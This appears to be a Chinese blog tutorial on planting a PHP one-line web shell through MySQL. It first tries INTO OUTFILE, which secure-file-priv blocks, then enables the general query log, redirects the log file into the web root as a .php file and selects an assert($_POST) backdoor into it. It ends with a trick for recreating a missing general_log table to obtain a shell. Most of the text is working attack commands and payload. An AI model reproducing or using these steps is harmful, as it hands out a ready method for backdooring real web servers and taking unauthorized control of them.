1.想通过into outfile写入一句话木马
select '<?php assert($_POST["cmd"];?)>' into outfile 'D:/phpstudy/PHPTutorial/WWW/xx.php';
需要知道绝对路径
2.执行下来,报错 “MySQL服务器正在使用--secure-file-priv选项运行,因此它无法执行此语句”
![2d8f713493f500b91b02b60cf495ff65.png](https://i-blog.csdnimg.cn/blog_migrate/c8c31d8dd476da46d9053be42ecc9a93.png)
那么就要知道这个 secure-file-priv是干什么用的。secure-file-priv这个全局变量是指定文件夹作为导出文件存放的地方,默认情况下,secure-file-priv是一个空值(NULL)。
我们现在把secure-file-priv设置为网站的根目录,再去尝试使用INTO OUTFILEgetshell。
![3cbc448d51108c528251717d20b2078b.png](https://i-blog.csdnimg.cn/blog_migrate/35c61b1288cbe2cb7fc068f2f73ba231.png)
执行下来报错,这个变量仅仅只是可读的变量。
3.思路卡壳了,转向从日志写入一句话。
Mysql的两个全局变量:
general log 指的是日志保存状态,一共有两个值(ON/OFF)ON代表开启 OFF代表关闭。
general log file 指的是日志的保存路径。
![e523efb536e7cf4d0e9ef633842c0ca8.png](https://i-blog.csdnimg.cn/blog_migrate/fbab104fbd01e192bde846137d000df5.png)
目前这个general_log为off状态,那么日志就没有被记录进去,所以先打开这个全局变量。
set global general_log='on';
![175fcacf7902dace254612e27e5b145b.png](https://i-blog.csdnimg.cn/blog_migrate/163ef6c56a4d414ea6224c9abdcf9517.png)
打开过后,就会出现日志文件
![4b1eecedee76ad1fe418a382dc6d6e09.png](https://i-blog.csdnimg.cn/blog_migrate/2b6050ba23a8ec545d3392f3ce230967.jpeg)
文件内容
![3b5f8550d4ef53b80e4081a43790f1b0.png](https://i-blog.csdnimg.cn/blog_migrate/3192dcc620593141c09c9757b2945c96.jpeg)
执行一条sql语句便会被记录到日志文件种去。
所以可以从日志写入一句话来试试。那么既然日志是保存在这个文件中,要写入一句话,应该要把日志存放的文件位置换成想要生成的一句话木马文件。那么就需要修改general_log_file变量的位置了。
set global general_log_file=’D:/phpstudy/PHPTutorial/WWW/xxx.php’
那就写入一句话进日志
select ‘<?php assert($_POST[“admin”]);?>’;
![8387335aefab539f61146a31ca264e37.png](https://i-blog.csdnimg.cn/blog_migrate/aa49b2b7a18d4d789feba9cfb1d8ad05.jpeg)
访问一波,成功解析。
![7479566a110f9c6a7ecba6f71e37be55.png](https://i-blog.csdnimg.cn/blog_migrate/282bb33d3f4508f65f85f784627bfecb.jpeg)
奇技淫巧:
mysql版本: 5.5.53
尝试开启日志功能写文件,但是提示表 mysql.general_log不存在
mysql> set global general_log = on;
ERROR 1146 (42S02): Table 'mysql.general_log' doesn't exist
解决思路:
从其他数据库中提取表 mysql.general_log信息
然后切换到mysql库中执行以下SQL语句
CREATE TABLE IF NOT EXISTS `general_log` (
`event_time` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP,
`user_host` mediumtext NOT NULL,
`thread_id` int(11) NOT NULL,
`server_id` int(10) unsigned NOT NULL,
`command_type` varchar(64) NOT NULL,
`argument` mediumtext NOT NULL
) ENGINE=CSV DEFAULT CHARSET=utf8 COMMENT='General log';
再次执行
set global general_log = on;
select 'shell' 即成功拿到shell